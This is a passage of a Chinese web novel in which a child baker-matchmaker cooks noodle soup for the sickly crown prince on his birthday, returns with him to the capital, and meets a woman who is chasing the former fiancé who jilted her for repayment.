苏显点头:“肯定来找你的。” 他们家已经习惯了! 章公子一脸不好意思,但还是走到苏茵茵面前,朝这个小娃娃行礼:“那个,苏家妹妹,你能不能帮我看看,我的姻缘什么时候来。” 果然如此。 苏茵茵小红娘的名声本就稳固。 有了皇后赐婚的姻缘后,更是被人称为天上神仙转世。 不然她怎么长得又好看,还有福气得很。 人家都不是刻意牵线,只是点出世上命定姻缘而已。 别问流言为什么这样离谱。 反正她都习惯了。 可她没想到,怎么章公子也来啊。 “帮他看,帮他赶紧定个好人家。”李书生凑过来,“我还祝他百年好合,早生贵子。” 许小妹想瞪他,可对方故意露出好看的侧脸,让她只好道:“你可别说了。” 章公子生无可恋,一向温文尔雅的他悄悄翻个白眼,无奈道:“若非婚事实在不顺,我也不会盲信这些。” 与其说信传言,不如说他相亲相到无奈了,这才来西市小红娘这碰碰运气。 没想到路上偶遇许家妹妹,又在店里看到李书生。 经过这点时间,章公子对之前的事已经放下。 知道许家妹妹有了好归宿,他虽有不舍却不会死缠烂打,所以专心去见其他人家。 每一家他都诚心相见,却总是遇到各种问题。 还是奇奇怪怪的问题。 “遇到什么事了啊。”苏茵茵悄悄从桌子旁拿来瓜子点心,分给大家。 一群人磕着瓜子听章公子讲他最近的经历。 苏娘子路过的时候,差点把他们这一桌赶到家里玩。 店面本来就小,怎么还凑这么多人。 没一会,苏娘子也加入嗑瓜子的行列,反正没客人,听章公子讲的事还挺有意思? 章公子隐下各家的名字,确定不暴露对方,不过越讲越生无可恋。 “中举之后,来议亲的人家不少,但合适的并不多。” “其中一家双方谈的都很好,可没到半个月,她老家来了个表哥,还拿出当年的婚约。” “对方赔了不少礼物作为歉意。” 苏茵茵总结了一下。 有谈到一半,发现女孩家要私奔的。 还有没见面呢,对方婚事临时定下了。 再有什么见面当日马匹拉肚子,他没到场,事情吹了的。 如果说这些还不够离谱。 那双方家长,孩子,全都互相看中后。 吏部调令下来,对方主君外放肥差,举家要离京的。 一离京就是许多年,他家不舍得女儿远嫁,所以准备到当地再说。 这种事找谁说理啊。 如果再加上前面跟许家的经历。 章公子议亲发生的意外,还真是五花八门。 如果不了解他的人,定然会猜测是他的问题。 可苏茵茵跟章公子接触过几次,还知道章家在许家婚事上的正派,知道定然不是他的原因。 面对许家这样的情况,他家都能坚持想法,事后真心为许姐姐祝福,真不是糟心人家。 那他经历的这些事,只能用两个字来形容。 倒霉。 纯粹的倒霉。 一桌人想笑不敢笑,还是章公子摊摊手:“笑吧,我家里都在笑呢。” 苏茵茵头埋在哥哥肩膀,确实有点好笑。 但这种情况,要怎么办才好啊,她也不知道哎。 第36章 章公子婚事不顺,家里也无能为力。 家里人都心里犯嘀咕,是不是今年不太顺,要不然去拜拜神仙。 家里人去道观,他就来了慧女点心。 听了这些事,李书生都拍拍章公子肩膀:“时候未到,别着急。” 章公子好脾气笑笑,谢了谢李书生。 找人说了此事,章公子心里反而开怀了,笑道:“算了,还不如好好准备明年会试,会试之后再说吧。” 章公子今年考了二甲二十七名,也是新晋的举人。 会试在明年四月份,确实没多久了。 他看向苏显手里的书,也帮着点评。 他讲的深入浅出,虽说举人名次没有李书生高,反而更适合苏显。 李书生摸摸鼻子,算是服气了。 到苏显这,他最近文章拿到私塾,夫子直夸道:“最近进步极大。” 进士夫子想说童试有望,但又不好直接讲,虽不怕苏显得意,但怕给他压力。 这孩子果然聪明。 若能十二岁中秀才,那他这私塾,也算有光。 苏显心道,私塾里有夫子,黄秀才。 家里有李书生,章公子。 一进士,两举人,一秀才。 他要是再不进步,那才奇怪。 而这些人愿意教自己,大部分都因为妹妹。 若无妹妹的关系,哪有这样好的学习机会。 为了妹妹,他也要加倍努力才行。 十月中旬,汴京下了第一场大雪,兵马司考核成绩也出来了。 苏鸿苏副使,考核成绩,上上。 由指挥使上报吏部,兵部,升为正七品官职。 苏副使长舒口气,整个人精神奕奕。 正七品! 虽说在汴京还是微末小官,但总算进了一步。 同僚连连恭喜,整个火禁司都明白,只要苏副使没有行差大错,再过两年便是火禁司的指挥使。 “恭喜苏副使。” “不愧是苏副使,平日里勤勉有功,考核果然为上上。” “以后可要多照顾兄弟们啊。” “哈哈,就知道你可以!” “还要等吏部文书,现在做不得数。”苏副使虽然高兴,却也谦逊道。 指挥使摸摸白胡子,让大家赶紧散了。 虽说此事基本板上钉钉,但不到最后,还是别太高兴,省得惹人嫉妒。 正式的任命要等吏部那边出。 年底各项事杂,估计要等腊月。 腊月发文书,明年正式升职,这也很合理。 在兵马司不能太高兴,关起门,苏家人自己先小小庆贺。 旁的不说,单是考核上上,已经很好了! 苏茵茵此刻也在厨房里,小小的娃娃手里拿着面团,将揉好的面轻轻擀开,再用小手揪成一团一团,扯成面片。 薄而软的面片放入沸羊汤中,立刻便熟了。 一碗香喷喷的羊汤面片做好,香得让人直迷糊。 苏茵茵擦擦小手,惊喜道:“娘,你先尝尝。” 好久没做了,没想到依旧不错嘛。 苏娘子惊讶之余,又忍不住骄傲。 她女儿做什么都厉害。 在羊汤里放了些牛奶,竟然让汤底更鲜,这也太聪明了。 苏娘子吃了一小碗,赞叹道:“好吃。” 女儿说想给爹爹做吃食庆祝时,她还有点担心,所以女儿说她来做。 没想到出来的羊汤面片竟然这样好吃。 苏副使苏显过来端饭菜的时候,猛地闻到里面的香味,更为惊讶,下意识道:“慧娘,你做的饭食越来越香了。” “是女儿做的,面片全都是她亲自擀的。”苏娘子用让他们都尝尝。 这一尝不得了,一家人围着灶台,就把面片吃了个干净。 “好吃。” “羊汤的滋味更好了。” “香啊。” 苏茵茵也满足眯眼。 好吃! 面片好,羊汤也好。 看来手艺没丢。 那她就可以给原锐做一顿饭啦。 就当是她送的生辰礼物。 希望他能多用一些,不要那么瘦了。 苏副使还不知道,他闺女给他做吃食,是为了试试手艺。 因为原锐生辰快到,她也要出发了。 原锐家早早安排了马车仆从,都是苏茵茵见过的人,很是熟悉。 但女儿头一次出远门,苏家人肯定不放心,苏副使甚至打算请假跟着。 苏娘子反而走不开,年前预定喜饼的人多,她也提前招了帮工,不好让大家空等着。 苏显也想前去,他年后就要考试,谁都不准他离京。 最后反而是兵马司的一桩差事解决这个难题。 宁郡王有封信件要送,那地方正好是原锐家别院附近的庄子上。 苏副使干脆让熟悉的属下丁鹏正前去,正好陪着女儿,来回五天时间,刚刚好。 丁鹏正欣然领命,拍着胸脯道:“苏副使,交给我绝对放心。” 虽说如此,大家该担心还是担心。 女儿头一次出远门啊。 还是头一次离家,怎么想都难受。 特别是苏娘子,女儿同她商议此事时,她还没察觉什么,到现在却万般不舍。 可她知道,女儿拿定主意便不会改变。 而且别看她年纪小,却从不喜欢欠人情。 再小的时候,便是她跟相公为女儿多做什么,女儿都会愧疚不安,何况好朋友之前为了她生辰特意赶回来。 为了回报这份好意,她也愿意冒着风雪前去。 “我的宝宝,怎么这样好。”苏娘子搂着女儿,轻声道,“早去早回。” 苏茵茵认真点头。 肯定的。 她给原锐过完生辰就回来! 十月二十六,苏茵茵坐着原锐家的马车出京,旁边还有骑马的丁鹏正,后面还跟着两辆马车,全都是原锐家人送的生辰礼。 丁鹏正看着原锐家的家丁,总觉得这些人比他出身行伍的身体都好,个头还壮。 能雇起这样家丁的人户,身份定然不俗。 马车里面,仆从郭展把早就准备好的暖炉放在茵茵姑娘身边,并道:“这个位置可以伸展出来,软和得很,您要是困了,直接在这睡觉即可。” 这马车看着不算大,是为了密封暖和考量。 而且里面有张小床,小孩子睡肯定没问题,两边甚至有围栏,绝对安全舒适。 宫里能工巧匠制作的马车,肯定没话说。 苏茵茵都做好吃苦的准备,却没想到原锐家准备了这样好的马车。 一路上吃了睡睡了吃。 苏茵茵倒是不觉得辛苦,还让丁大哥坐马车里歇会。 丁鹏正忍不住问仆从郭展:“你家老爷到底什么身份,方才休息时同家丁交手,我竟然打不过。” 郭展心道,这都是宫中最厉害的御林军,都是各家族里极优秀的子弟,家学渊源,打不过很正常。 至于老爷的身份,他不敢说啊。 郭展只道:“家里是有些体面,这些家丁也都是家生子,为了茵茵姑娘,特意选来的。” 这简直是听君一席话如听一席话。 根本没回答什么啊。 丁鹏正并非追根到底的人,故而不会再问。 同样的对话,京城也在发生。 苏娘子还好些,她最近特别忙,喜饼一单一单的出去,带着娘子们各处送货。 还有一些人户提前预定年节的点心,忙得不行,反而把女儿的事暂时放在脑后。 苏副使每次巡逻回兵马司,总是要担心一阵。 这会遇到宁郡王,实在没忍住道:“宁郡王,那原家是什么身份,您知道吗。” 整个汴京,他没听过姓原的门第。 之前并不在意这些,反正是小孩子们的交际。 这会问门第,也不是想攀附,是担心自家闺女啊。 宁郡王含糊其辞,只道:“放心吧,他家绝对没问题。” 说罢,为了安苏副使的心,又道:“我们还算亲戚呢,他家爹娘都是好人。” 亲戚? 宁郡王是皇室远亲。 原锐家也是? 这就是汴京吗,随便一个人都这样厉害。 众人疑惑中,十月二十八傍晚,苏茵茵已经到了温泉别院。 刚靠近,就能感受到此地的不同,外面漫天大雪,里面甚至能看到一丝绿意。 丁鹏正去隔壁庄子送信,郭展带着苏茵茵进门。 一路走来仆从守卫并不算多,但个个身材魁梧,不过面上却温和有礼,虽奇怪这小娃娃是谁,却也不会多问。 苏茵茵下马车时已经是傍晚,她直接道:“带我去厨房吧。” 她还要做生辰礼物呢。 需要的食材郭展已经准备好了。 苏茵茵原本的打算,是她到了别院附近再买,可此事被仆从包揽,绝对不会让她费心。 苏茵茵甚至叹气。 给原锐生辰礼,礼物原料都是对方备下。 总觉得她的回礼好像不够啊。 这么想着,做吃食的时候,显然更加用心。 温泉别院主院内,温暖的汤池旁的屋子不需炭火,人也能自如活动,身上穿的衣服犹如春季。 今日已经八岁的李锐渊握着毛笔,正在写太傅留下的课业。 太傅说什么,今年乡试放假那么多日,他出京几个月,接下来还有会试要忙。 所以干脆多留点课业,不能闲着。 李锐渊觉得,太傅是不是有些放飞,之前可不敢这样直白对他讲话,总担心他身体不好,不能劳累。 最近两年大有一种,我知道你能行,所以多写点的感觉。 李锐渊并不讨厌这种感觉,但还是冷笑一声。 他出京三个月,不是三年,哪有那么多课业可写! 冷着脸的小娃娃笔下未停,过了会问道:“郭展没回来吗。” 按理说他应当带着茵茵的信回来了。 手下连忙道:“回了,但听说临时有事,去了厨房。” 厨房? 母后让他带了什么吃食吗。 李锐渊垂眼。 不论什么食物,对他来说都差不多。 “先把信取过来。” 看着茵茵的信,他能多用几口饭。 过了片刻,手下才犹豫道:“郭公公说,这次没有信。” 没有信? 李锐渊停笔,抬头看向手下,又看夜色低沉,微微闭上眼。 没有就没有吧,他写就好。 说话间,郭展急匆匆跑过来,连连请罪。 他方才急着送茵茵姑娘去厨房,把陛下皇后娘娘,还有大臣们送的生辰礼给忘了。 若殿下在京城,便是不开大宴,也有宫中小宴,皇上近臣肯定会送礼。 如今虽无宴,但这些礼节不能说。 再说还有帝后亲自准备的礼物,都是难得的珍品。 两马车礼物放在侧殿,郭展只取了帝后送来的,是两件薄如蝉翼的衣裳,看似单薄,实际摸上去温软得厉害。 “皇后娘娘说,这种衣料冬日极暖,便是雪地里也能御寒。” 总之十分难得,便是皇上皇后也只得了这么多,做成两身衣服。 一身给殿下,另一身是给苏茵茵的。 另外还有两块暖玉,放在手中冬暖夏凉,十分罕见,同样是给两个人。 帝后两人虽不能来,却早就精心备下礼物。 李锐渊眼里闪过温暖,谢过父皇母后,对两块玉石爱不释手,有心想让人送到汴京,又想亲自交给小宝宝。 一股清淡的羊肉香味飘来,李锐渊下意识看向门外,却看到意想不到的人。 苏茵茵换了身衣裳,身后的人帮她提着食盒,口水都要留下来了。 天,就没见过这样会做菜的小娃娃。 本以为这小娃娃随便弄出个菜品就很厉害了,谁料做出来这样香的面。 苏茵茵进到厨房,便立刻动手,跟她猜测的差不多,厨房里有羊肉高汤,省了很多事。 如今天冷,不少人家都会煨高汤备着,随时都能用。 剩下的便是她自己动手了。 准备好的新鲜羊肉刚拿到手,苏茵茵就道:“好好的羊。” 拿着不粘手,色泽光滑,而且膻味不重。 这明显不是本地羊,像是有名的滩羊。 知道原锐家厉害,却没想厨房随时备着的都是滩羊。 即使这样,苏茵茵还是小心去味,绝对只保留鲜美。 厨房众人看她小小的个子,做事却很熟练,就连和面的时候,都知道先尝尝不同面的区别,随后选了最适合和面的。 这一看就在厨房久了的。 苏茵茵只是习惯性这样做,她进入状态后,基本不管别人怎么看。 那边鲜羊肉下锅,用胡椒等物入味,再用葱油调香,最后高汤,牛奶增香。 和面,揉面,扯成薄而透亮却不破的面片,立刻用高汤煮熟。 这样的一碗面,最后只有淡淡的羊肉香味,仔细闻的话,能发现葱油胡椒的复杂味道。 而这些,统统被柔软好消化的面片浸透。 厨房里都是咽口水的声音。 用了那样多调料,做出来的味道却是透亮的清爽的。 这,这要不是下料极为精准,调配的极好,根本不会达到这种效果。 “是天赋,这种手法,已经是天赋了。” 苏茵茵走后,大厨直接道。 御膳房调拨的大厨都这样讲,可见她的本事。 苏茵茵如今第二次做羊汤面片,已经驾轻就熟,她让人帮忙盛在保温的碗中,再装进食盒,去找原锐。 她年纪还是太小了,做一份面都这样累。 哎,等她长大了,一桌子席面都不是问题! “茵茵。”李锐渊简直不敢相信自己的眼睛,快步走过去,“你怎么来了。” 李锐渊根本不敢挪眼,生怕自己看错。 苏茵茵开心笑道:“给你过生辰啊。” “生日快乐!” 苏茵茵学着原锐给她送礼物的模样,对他道:“要不要看看里面是什么。” 苏茵茵很有些紧张。 当时原锐送她的是,那样好看贵重的小蝴蝶,她送的是一碗面,会不会不太好。 原锐看看食盒,又看看紧张的小宝宝,嘴角忍不住翘起,并道:“不管是什么都喜欢。” 随着而来的羊汤香味本以为已经够让人垂涎。 等食盒打开,众人齐刷刷咽口水,才知道这碗面到底有多好吃。 真香啊。 明明是一样的食材,怎么这碗面香的与众不同。 苏茵茵解释道:“我给你做的,希望新的一年里,好好吃饭,好好长大。” 这就是她的愿望。 希望小伙伴越来越好,不再被吃饭困扰。 李锐渊眼睛微垂,看不清他的表情,小小的孩子又往前走两步,抱住小宝宝:“好,我听你的。” 不是听我的啊。 是希望你健健康康的。 苏茵茵没能解释,拍拍原锐后背:“好啦,吃饭吧?我坐了两日马车呢。” 李锐渊抱得更紧了。 那么冷的天,小宝宝还过来,这礼物更加珍贵了。 她这么小,还给他自己做吃食。 自己要是不怕冷,不畏惧吃饭,那这一切就不会发生。 “对不起,让你这么累。” 苏茵茵歪头:“这都哪跟哪啊,给你过生辰,这是应该的呀。” 李锐渊被小宝宝牵着往前走,面已经盛出来,厨房也把今晚其他菜端上来。 今日是太子殿下生辰,准备的菜色本就丰富。 暖和的内殿里点起蜡烛,灯火通明。 两个小朋友开始吃晚饭。 李锐渊第一口吃的,肯定苏茵茵做的羊汤面片。 柔软的面片放在嘴里,不用怎么嚼便吃了下去,连带着汤汁的鲜美,羊肉的香味。 李锐渊好像找到很久之前吃饭的感觉。 三岁之前,糖是甜的,菜是有滋味的,所有的味觉似乎又回来了。 面的香味压住他心里很多很多东西,不多时,竟然把一碗面吃完。 仆从们喜极而泣,恨不得把这消息赶紧报给皇上皇后。 苏茵茵却阻止他用第二碗:“慢慢来,吃了积食。” 李锐渊看向她,认真点头,他听小宝宝的。 晚上,苏茵茵本想跟原锐多说会话,她也很开心原锐喜欢这份礼物,但她舟车劳顿,在软塌上窝一会便睡着了。 李锐渊眼神一直没挪开,削瘦的他把小宝宝抱到温暖的内殿,自己睡了另一间房。 今年的生辰真好。 十月二十九,清晨。 苏茵茵刚翻了个身,察觉到身边环境不对,手边还有个暖呼呼的东西。 她睡得迷糊,还拿过来看了几眼,很漂亮的玉坠,巴掌大小,摸起来是温润的。 就算这屋子里很暖和,玉坠也不应该摸着很暖和吧。 苏茵茵起床后玩了会,没留神原锐已经过来。 原锐穿的并不厚重,里面添置父皇母后送的暖衣,看起来格外瘦,但今日看起来却有一种挺拔的精神。 “看,很暖和。”苏茵茵道,“在床头放着。” 李锐渊把玉坠重新递给她:“戴着这个,冬日会很暖和。” 暖玉吗?! 这又价值多少?! 苏茵茵感觉天要塌了。 她昨天才用精心制作的面,勉强还了一点点上次收到的生辰礼。 这次要怎么还啊。 苏茵茵赶紧推辞,还找补话题道:“虽然此地很暖和,但你穿的是不是太薄了呀,要不要换厚衣裳。” 四岁宝宝苏茵茵穿的就是圆滚滚的,手心都能冒汗,就是冬日行动不方便。 提到这个,又进来两个嬷嬷,她们手里小心翼翼捧着一件衣裳。 李锐渊:“我穿了这样布料的衣裳,你也试试,非常御寒。” 苏茵茵看着嬷嬷们的表情,便知道这衣裳更贵了。 不行啊! 再这样下去,她要给原锐做一辈子的饭吗。 不行,绝对不行。 李锐渊根本不给她推辞的机会,反而拉着小宝宝的衣袖道:“昨晚吃的那碗面极好,我已经很久没能感受到食物的味道了。” 苏茵茵愣住。 这还是原锐头一次跟她形容吃饭的感受。 “这几年吃东西,不过勉强吞咽,稍微吃得多了,便会吐出来。”李锐渊认真道,“谢谢你,这对我来说,比礼物贵重多了。” 仆从郭展连忙跟着道:“是啊,只要少爷能吃进东西,老爷夫人愿意用金山银山来换。” “您一定要收下,以后多给我们家少爷做吃食就好了。” “可以。” “不行。” 可以是苏茵茵说的,李锐渊直接拒绝。 为什么啊? 大家都很奇怪。 李锐渊直接道:“我会自己克服,不需要她过多劳累。” “也不用跑这么远来找我。” 李锐渊声音冷道:“是我的问题。” 没有啊,不是你的问题。 生病这种事,大家都没办法的。 苏茵茵大眼睛里流露出的意思,被李锐渊完全捕捉道,他小声道:“所以我要回京。” 回京? 外面可是下着大雪。 出了别院,是真正的天寒地冻。 李锐渊让她看自己里面的暖衣,认真道:“爹娘给我送的暖衣暖玉,你又冒着严寒来找我,所以我想回去。” “你也穿上暖衣,咱们一起回京吧。” 按照苏茵茵的计划,确实是今日便出发回京。 因为越往后面,天气越冷,就怕雪太大,路上行动不便。 可她没想到,原锐会跟他一起回。 苏茵茵见原锐目光坚定,咬牙道:“好,一起回。我会保护你。” 原锐真的太有勇气了。 直面自己害怕的东西,真的很厉害。 所以她会好好保护原锐的! 两个小宝宝凑在一起,看得嬷嬷们爱心泛滥,恨不得把孩子们抱怀里揉一揉。 回京。 马上就回。 天空下起鹅毛大雪。 似乎要让李锐渊回京的这场考验变得愈发艰难。 两个小朋友牵着手,他们才不怕呢! 第37章 回京一路都是官道,而且来往的人多,现下雪还不厚,很容易通行。 办完差事的丁鹏正也跟着一起回去,再见原锐家的车队,还是觉得不俗。 不过他也没多想,确认茵茵宝宝没事,便放心了。 回去依旧是两日路程,中间要在沿途客栈休息一晚。 一切都有郭展等人安排,他们只要当地方休息即可。 路上大家万分担忧。 害怕殿下不适,没想到一路正常,甚至跟着吃了些东西。 还要是茵茵姑娘啊,只要有她在,大家根本不用担心。 傍晚时分,客栈已经有不少人在温酒驱寒,等着第二日上路。 角落处有一个女子,身穿粗布,带着帷帽,简单吃了份面,便回房休息。 苏茵茵只觉得她走路与旁人不同,好像有些洒脱?故而多看几眼。 李锐渊看了几眼,低声道:“她练过武。” 原来是这样。 第二日一早,苏茵茵又碰到这个姐姐,见她翻身上马,利落得很,她也是往京城方向走。 十月三十日傍晚,苏茵茵一行人终于到了京城。 李锐渊手里握着暖炉,认真看向小宝宝。 外面确实很冷,但真的走出来,好像又没那样冷了。 苏茵茵也为他开心,又叮嘱道:“我把食谱写下来了,能吃就吃,吃不成不要勉强。” 两人说着,马车外传来苏家夫妇的声音。 苏茵茵连忙去看,小跑着跳下马车。 好几天没见,她好想娘亲啊。 “娘,爹,哥哥。” 苏茵茵被家人们抱到怀里,好一顿亲热,孩子好好的,他们放心了。 苏副使特意谢过丁鹏正,见原锐也下了马车,赶紧道:“你不是怕冷吗,不用下车了。” 李锐渊坚持要下,对苏家夫妇很是客气。 寒暄过后,苏茵茵被家人带着离开,李锐渊家的马车调转车头,直奔皇宫方向。 此刻的皇宫里面,帝后早就在等着。 渊儿一回来,就能看到他们两个。 不仅如此,太子太傅等人同样恭候。 甚至宁郡王也在行列。 太子殿下回京了。 还走出温泉别院。 五年了。 五年时间了。 这是头一回。 真是天佑万龙国。 帝后两人眼中噙泪,紧握双手,嘴上还道:“不要给太子太多压力,看着一如平常就好。” 太傅看着帝后,心道,那你们两个别紧张啊! 再想到能把殿下带回来的小娃娃,真是个小福星。 有这样的继承人,有这样的福气运气。 想来朝中那些有异心的人,可以老实了吧。 苏茵茵此刻已经在温暖的被窝里,来来回回好几天,是要好好睡个觉。 这一觉睡到第二天早上,她还送了哥哥去上学,苏显最近一段时间早出晚归,回来还要温书,实在辛苦。 就连李书生,章公子也不一定能找到他。 但说起来,他们两人也在备考。 乡试对他们二人来说还算轻松,接下来的会试则要跟天下学子一起比,那还是有点难度的。 便是自信如李云敬都说,他也只有一半把握。 更为谦逊的章公子则道:“头一次会试,大约是不中的。” 说完,章公子还殷切地看了眼小红娘。 他姻缘那事,有戏吗。 小红娘完全不知道啊! 她最近很忙的。 章公子挠头,他就那么一问,又道:“城南新开了家书铺,里面有不少难买的好书,苏显弟弟要是有空,让他去买些吧。” 哥哥肯定没空,苏茵茵自告奋勇:“我去吧,我帮哥哥把书买回来。” 这也行。 苏娘子把银钱交给茵茵,又谢了带着她的章公子。 别说现代小孩课外辅导书多,古代小孩的也不少。 苏茵茵很少去南城,此地多住达官贵人,书铺也极多,明年又有会试,各个书铺的生意都不错。 刚走没多久,便碰到逛街的李书生跟许小妹,两人婚事已定,没事出来玩很正常。 知道要给苏显买书,大家便一起跟着。 童试为科举第一试,一定要重视才行。 苏茵茵看着这些辅导书,头都要大了,她哥可真不容易。 正感慨着,余光似乎看到一个身影。 这身影她见过。 那日回京客栈遇到的姐姐。 只见她扫视一圈,从人群里面揪出来一个男子,一巴掌打过去,那男子踉跄几下,差点倒地。 “打人了!” “有人打人了!” 穿着粗布的女子手底下还没停,几拳打在对方身上,那男子半个字都不敢吭。 原锐说过她练过武,看来是真的啊。 一拳打下去,肯定很疼。 “放开,快放开,我们报官了啊!” 男子同乡跑过来,想把女子拉开,却又不敢,生怕自己也挨几下。 此刻女子才开口,声音清脆英气,冷哼道:“报官?他敢吗?” 不敢。 实在不敢。 但巡视的官差很快就到,被打的男子果然急忙道:“没事,没事我们在闹着玩。” 这样闹着玩? 是不是太狠了点。 李书生吐槽:“一拳下去,骨头都裂了吧。” 许小妹也点头,不过道:“肯定是这男子的错,否则不会这般忍气吞声。” 看那男子的衣裳,甚至是考上举人之后才能穿的公服,按理说已经是官了,却还要帮忙遮掩。 只能说这举人的错处肯定更大。 眼看围观的人越来越多,官差让他们赶紧离开,不要聚集人群。 可这举人罢休了,那女子却不停手,又两拳打过去,从怀中扔出一张纸,上面的字七拐八扭:“还钱!” 还钱? 苏茵茵眼力好,都没认出上面的字。 举人更是看不出。 他同乡连忙道:“你这是讹诈吗?还给钱,凭什么?魏举人何时欠你银钱了,可有字据证明?!” “你这般扔出一张纸,莫不是在骗钱!” 官差有心押他们去衙门,可魏举人却不同意,最后只求得宽限时间,让他好好准备。 而且,这纸张上的账目太过凌乱,他看不懂,需要整理清晰再说。 一阵吵闹之后,女子看着纸张,皱眉站在门外,周围还有不少人指指点点。 女子随手抓了个人:“能帮我写清账目吗,我给你银子。” 对方犹豫片刻,摆摆手。 那被追债的是举人,他们可不敢掺和其中。 女子扫视一圈,在苏茵茵他们一行人身上定住。 她明显认出茵茵宝宝,这样可爱的小姑娘谁见了都不会忘。 女子往前走几步,又看了看他们,把纸张径直递给章公子:“能帮我写清账目吗,我给你银子。” 章公子指了指自己:“我?” “嗯。” “为什么?” 女子心道,看着好说话,嘴上罕见婉言:“面善。” 面善不就是好说话吗! 苏茵茵都听出来了! 苏茵茵朝她打了招呼,又好奇道:“姐姐,他欠了你很多钱吗,需要进京讨债。” 大家都知道她是来讨债的。 但并不知晓,竟然还是专门进京要钱,看样子对方欠了不少。 女子这才道:“不止钱。” “他是我前未婚夫。” 啊?! 未婚夫? 前? 苏茵茵本能发现瓜田,李书生立刻指向章公子:“他帮你理清账目,不收钱,告诉我们前因后果吧!” 许小妹一手拉茵茵,一手扯李书生,你们两个未免太好奇了点! 不过那女子也不介意,竟然点头:“好啊,这有什么了。” 这又不是不能说的事。 李书生请客,众人去了附近的茶楼吃茶闲聊。 “我叫楚珊,跟那个魏举人是青梅竹马的情分。” 他们都是彬州人士,距离汴京八百里的路程。 楚珊家在彬州做镖局生意,平日来往的都是粗糙汉子。 她两岁那年,镖局附近新开了间私塾,私塾夫子姓魏,还有一个七岁的儿子,也就是如今的魏举人。 两家离得近,楚家还经常帮魏家赶走骚扰的地痞流氓,时间长了便熟悉起来。 楚珊跟魏举人就是那段时间认识。 之后魏举人他爹去世,私塾关门,无钱读书,镖局越做越大的楚家出手帮忙。 同年魏母上门提亲,既然是感谢,也是魏书生自己的意思,他说早就倾慕楚姑娘。 至于楚珊,她从小就崇拜邻居彬彬有礼读书的大哥哥,此事欣然点头。 本就是邻里,现在又结了亲家,魏书生全家吃喝读书费用,全部都是楚家支付。 从定亲之后到如今,已经过了十五年。 楚珊道:“今年秋天他在彬州考上举人,家里本想着把亲事办了。” “毕竟他今年二十五,我也满二十。” “谁料他家推脱,又说马上要会试,时间来不及。” 这么想也没错,而且汴京距离彬州有些距离,必须提前出发准备会试。 让楚家没想到的是,魏书生母子两人收了楚家的路费银钱,竟然带着魏母直接离开。 当时楚家还奇怪,他家照顾魏母多年,甚至给她备了仆从,怎么考个会试,还要带着老母一起。 等楚家镖局兄弟从汴京回来,才知道缘由。 魏母在汴京做官的娘家知道魏书生考上举人之后,便请他们去京城居住,并打算把女儿许配给她。 举人的身份,已经可以做官了,已经不能说是潜力股,而是绩优股,魏母娘家自然要拉拢。 一面是照顾他们孤儿寡母十五年的未婚妻楚家。 另一面是在京城做官的亲戚。 两方比较,魏家母子迅速做出决定。 去京城! 一个是做官的岳丈。 另一个是开镖局的武夫,这根本不用多选。 在汴京的镖局兄弟前去理论,对方竟然说楚珊大字不识几个,还想嫁举人,简直异想天开。 南城这边多达官贵人,镖局一行人又被赶走。 消息再到彬州,气的楚家人想打上门。 还是楚珊拦下,她直接道:“姓魏的意已决,便无更改可能。但此为女儿的事,女儿必然要当面打他一顿,再把这些年的银钱给要回来。” 说罢,楚珊单人单骑,直奔汴京。 为的就是暴打魏书生,再要回十五年供养的银钱。 她只知道,若不这样做,那她心口的郁闷根本散不出来。 这么听来。 方才打的根本不够狠!!! 应该再给那魏书生几十拳! 听到苏茵茵这样讲,楚珊抬起下巴:“放心,以后见一次打一次。” 苏茵茵脱口而出:“那干嘛要算清楚账目,找着借口多打几次啊。” 有道理。 楚珊有心同意,不过还是道:“没功夫跟他耗,把我家银子要回来,他爱娶谁娶谁。” “那可是一大笔银子,够我爹跑多少趟镖了!” 还有她爹的面子。 现在整个彬州,谁不知道她家被举人老爷抛弃,若自己不做些什么,一家子还会被笑话。 楚珊摇摇头,先不管那些,算账要紧。 读书费用本就不菲。 楚家供养对方母子十五年,不用细算,都知道是笔不小的开支。 除了银钱呢。 章公子抬头看她,有心想说,若是难过也可以说出来。 可对方强撑着,他不能多言,只是温和道:“十五年读书费用,你家可记了账目。” 镖局是有账目。 但自家内宅银钱流水记得不会那么详细。 她才认识几个字,她爹娘可是大字不识的。 故而原始账目拿出来,没比楚珊自己写的那张纸强。 想来魏举人就是知道此事,故意推脱。 章公子扶额,一页页翻着,下意识:“你家镖局能做到如今,也不容易。” “你什么意思。”楚珊直接道。 章公子低头:“只是说说。” 李书生跟许小妹帮着理账,但两人看着便觉得头疼,如此账册,怪不得魏书生有恃无恐。 当然,他也害怕告到官府,这事怎么说都是他理亏,所以挨打也不进衙门。 可要真告过去,凭借这些账册,他赔不了多少钱。 所以这事便僵着了,都不想告官。 但总要有个解决方法。 账目是一回事,楚珊的想法又是另一回事。 章公子认真道:“倘若姑娘放心,账册放在我这几日,必然整理明白。” “我也是读书的,十五年到底花费楚家多少银钱,约莫能估算出来。” 旁的先不说,把账目理出来,才能去找对方算总账。 今年新晋举人里竟然有这般读书人,真是不齿与他为伍。 都到这份上了,楚珊摆摆手:“算吧,能算多少出来是多少。” “楚姑娘,那你下一步准备怎么办。”同为女子的许小妹问道。 怎么办? 楚珊有些迷茫。 她一路过来,心中憋闷。 既是为自己识人不清,也是为了爹娘在彬州受的奚落。 事发之后,有人同情有人笑话,更多人还是觉得,他家攀不上举人老爷。 反正明里暗里的话,都是他家异想天开。 否则那姓魏的同乡,怎么还敢开口维护。 楚珊道:“先出了这口气,把银子要回来,见一次打一次。” 本想着要钱还算简单,没想到姓魏的比她想象中还厚脸皮。 此事多半要打落牙齿往肚子里咽。 以后议亲,绝不找读书人就对了。 “这就是上岸第一剑,先斩意中人。”苏茵茵小声吐槽,“竟然见到真的了。” 其他三个大人回味了下,这话说的还真没错。 章公子正色:“此等忘恩负义之辈,倒不能以器中君子相提。” 什么器中君子? 楚珊没听懂啊。 剑是君子器,如此小人,根本不配用。 哦,是在骂人。 楚珊满意点头,这些读书人,骂人都这么隐晦。 账目还要整理着,得知她就在附近酒楼住下,许小妹留了自家地址,让她有事一定去找。 苏茵茵带着哥哥的书回去,这三四本童试要用的书都花了好几两银子。 那魏举人从童试到乡试十五年时间,那花销肯定更夸张。 楚珊姐姐竟然遇到如此负心汉。 苏显收到几本新书,自然欣喜若狂,随后问了价格后,又颇为小心翼翼,认真道:“以后还是不要买了,我多努力些,也能抵得过。” 话是这么说,但苏家夫妇怎么会省这些银钱,只让他好好读即可。 “最近订喜饼的人多,放心吧。”苏娘子安慰孩子们,“你爹爹年底的俸银也要发了,咱们家买得起。” 苏茵茵跟着点头,不过她还知道,喜饼订的人多了,寻常的点心卖得却少。 说来说去,还是要研发新品。 汴京各家点心铺已经卷起来了,他家不能落下。 